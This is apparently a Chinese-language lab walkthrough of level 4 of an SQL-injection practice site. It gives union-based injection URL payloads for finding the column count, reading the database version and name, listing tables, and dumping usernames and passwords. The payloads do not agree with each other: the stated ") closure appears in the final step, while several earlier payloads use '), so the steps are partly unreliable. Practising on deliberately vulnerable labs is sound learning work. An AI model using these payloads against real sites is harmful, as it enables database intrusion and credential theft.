一、使用转义符 “ \ ” 查询闭口的格式
查询结果显示使用的闭口形式为 (1")
二、使用order by来判断字段数
①在输入order by 4时,显示报错
②在输入order by 3时,成功;说明他有三个字段。
代码:?id=1') order by 3-- -
三、使用union联合注入,配合select查询可注入点。
代码:?id=-1') union select 1,2,3 -- -
得出结果:2,3为注入点
四、利用第三步得到的注入点查询系统与当前数据库信息
version() //系统版本号
database() //当前数据库
代码:?id=-1') union select 1,version(),database() -- -
结果: 系统版本号为 5.7.26
当前数据库名 security
五、爆库
concat 将数据中的字符串进行拼接后,以列表数据(多条字符串)的形式展现出来。 group_concat 将数据中的字符串进行拼接后,以一条数据(字符串)的形式展现出来。
注意:使用group_concat的时候可能会出现数据重复,可以在括号里面输入"distinct+空格"!!!
代码:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- - //最后的database()也可以写成'security' 当前库的库名
结果:得到了emails、referers、uagents、users四个表。
六、爆表
基于第五步获得的四个表名,判断他的账户密码信息在users表里;针对users表进行爆破。
代码:?id=-1") union select 1,group_concat(username),group_concat(password) from users-- -
第四关通了,我的天,我通了!完结,撒花!!!!!